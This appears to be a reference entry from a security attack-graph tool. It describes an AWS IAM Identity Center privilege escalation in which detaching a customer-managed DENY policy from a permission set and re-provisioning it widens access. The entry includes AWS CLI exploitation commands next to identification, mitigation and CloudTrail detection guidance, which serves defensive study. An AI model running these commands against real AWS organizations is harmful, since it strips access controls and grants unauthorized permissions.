AWS_SSO_DETACH_CUSTOMER_MANAGED_POLICY

Summary

Forestall ACL Alias	AWS_SSO_DETACH_CUSTOMER_MANAGED_POLICY
Affected Object Types	AWSIAMUser|AWSIAMRole|AWSIAMGroup → AWSPermissionSet
Exploitation Certainty	High
AWS IAM Action	sso:DetachCustomerManagedPolicyReferenceFromPermissionSet + sso:ProvisionPermissionSet

Description

Account gate: This edge is only emitted for IAM principals that reside in the Organizations management account or an IAM Identity Center delegated-administrator account (service principal sso.amazonaws.com). Principals in any other member account receive AccessDenied from all SSO Admin APIs regardless of their IAM permissions.

An attacker with sso:DetachCustomerManagedPolicyReferenceFromPermissionSet and sso:ProvisionPermissionSet can remove a customer-managed policy from a target Permission Set and re-provision it across all assigned accounts. When the removed policy is a DENY policy, its removal widens the permissions of every principal holding that Permission Set.

Edge semantics: (Attacker:AWSIAMUser|AWSIAMRole|AWSIAMGroup) -[AWS_SSO_DETACH_CUSTOMER_MANAGED_POLICY]-> (Target:AWSPermissionSet)

Precondition: the target Permission Set must have at least one account assignment (poisonablePsGuids); without an assignment, provisioning has no effect.

Identification

# List customer-managed policies referenced by a permission set
aws sso-admin list-customer-managed-policy-references-in-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn>

# Check if the attacker has the required permissions
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:DetachCustomerManagedPolicyReferenceFromPermissionSet sso:ProvisionPermissionSet \
  --resource-arns "*"

# List account assignments
aws sso-admin list-account-assignments \
  --instance-arn <instance-arn> \
  --account-id <account-id> \
  --permission-set-arn <permission-set-arn>

Exploitation

# Step 1: Remove the customer-managed DENY policy reference from the permission set
aws sso-admin detach-customer-managed-policy-reference-from-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --customer-managed-policy-reference Name=<policy-name>,Path=<policy-path>

# Step 2: Re-provision to push the updated (less restrictive) policy to all accounts
aws sso-admin provision-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <permission-set-arn> \
  --target-type ALL_PROVISIONED_ACCOUNTS

Mitigation

• Restrict sso:DetachCustomerManagedPolicyReferenceFromPermissionSet and sso:ProvisionPermissionSet to dedicated Identity Center administrator roles.

• Use SCPs to block detachment of customer-managed policies from privileged Permission Sets.

• Alert in CloudTrail on any customer-managed policy detachment from a Permission Set, and on provisioning events that follow.

• Don't rely solely on customer-managed DENY policies for permission restriction. Combine them with Permission Boundaries for defense in depth.

• Enable audit logging for all sso-admin API calls in AWS IAM Identity Center.

Detection

CloudTrail Event	Description	Key Fields
DetachCustomerManagedPolicyReferenceFromPermissionSet	A customer-managed policy reference was removed from a Permission Set	requestParameters.permissionSetArn, requestParameters.customerManagedPolicyReference, userIdentity.arn
ProvisionPermissionSet	The Permission Set was re-provisioned to accounts	requestParameters.permissionSetArn, requestParameters.targetType, userIdentity.arn

Alert when DetachCustomerManagedPolicyReferenceFromPermissionSet is followed by ProvisionPermissionSet on the same Permission Set ARN within a short window.

References

• HackTricks: AWS SSO & IAM Identity Center Privilege Escalation

• AWS SSO Admin API: DetachCustomerManagedPolicyReferenceFromPermissionSet

• AWS SSO Admin API: ProvisionPermissionSet

• AWS IAM Identity Center: Customer managed policies in permission sets